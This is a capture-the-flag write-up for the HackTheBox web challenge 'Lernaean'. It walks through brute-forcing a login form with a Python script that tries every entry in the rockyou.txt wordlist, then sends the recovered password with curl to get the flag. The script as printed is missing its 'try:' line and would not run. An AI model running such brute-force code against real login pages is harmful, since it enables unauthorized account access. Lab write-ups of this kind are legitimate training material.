I just create my account on HackTheBox, so let's begin with web challenge and with the one called Lernaean. This challenge is only worth 20 points, so it should be an easy one...

The only description we have before starting the challenge instance is :

"Your target is not very good with computers. Try and guess their password to see if they may be hiding anything!"

After starting the instance, we have this webpage :

The source code of the page do not contain anything interesting, and with the description of the challenge it's not hard to understand that the purpose of this challenge is to Brute Force the administrator password.

First, let's see what happen with BurpSuite when we try to login with the password "Hello" :

We can see that a POST request with data "password=hello" is sent to the webpage challenge.

And when the password is incorrect, this text show up in the top left corner of the webpage :

Now that we know these information let's build a python script to brute force the password input. I'm using urllib, it's a python3 library which allow to make request very easily.

import os,sys,json
from urllib import request, parse

target = "http://docker.hackthebox.eu:30814/"

print ("Loading the passwords list...\n")

# Read and split the password file
passfile = open('/root/Downloads/rockyou.txt', 'r', errors='surrogateescape')
passwords = passfile.read().split('\n')

print ("Start attack on target : %s" %target)

# Start the brute force
for password in passwords:
    print ("Trying %s" %password)
    payload = {'password':password}
    payload = parse.urlencode(payload).encode('ascii')
    req = request.Request(target, data=payload)
        response = request.urlopen(req, data=payload)
        html = response.read()
        check = "Invalid password!"
        check = check.encode('utf-8')
        if check not in html:
            print ("Password found : %s" %password)
            pas = open('done.txt', 'a')
            pas.write('%s' %password)
        except request.HTTPError as e:
            print (e.code)

Note : I used the errors filed on open() to prevent an encoding error I encountered. Same for the encoding in utf-8 of the check string.

In the first part of the script, we load the password file. I use the wordlist password file rockyou.txt that you can find here.

In the second part of the script, for each password in our passfile we send a POST request with the data "password=ourpassword". Then, we are checking if the html of the response request is containing the string "Invalid password!", if not it's mean that we find the correct password.

After creating the script don't forget to add execution right to it :

chmod +x lernaean.py

And let's start it with python3 :

python3 lernaean.py

When the script find the correct password it will write it in the done.txt file.

YES ! We finaly have the password, let's try it on the webpage :

What is this sorcery ? We have the correct password but the webpage tell us that we are too slow. Ok, so let's send the password with curl and see what happen :

curl docker.hackthebox.eu:30814 -d "password=leonardo" -v

Don't forget the verbose (-v) of the command to see the server response in details.

BINGO ! We have the flag in the response, between the <h1> html tag !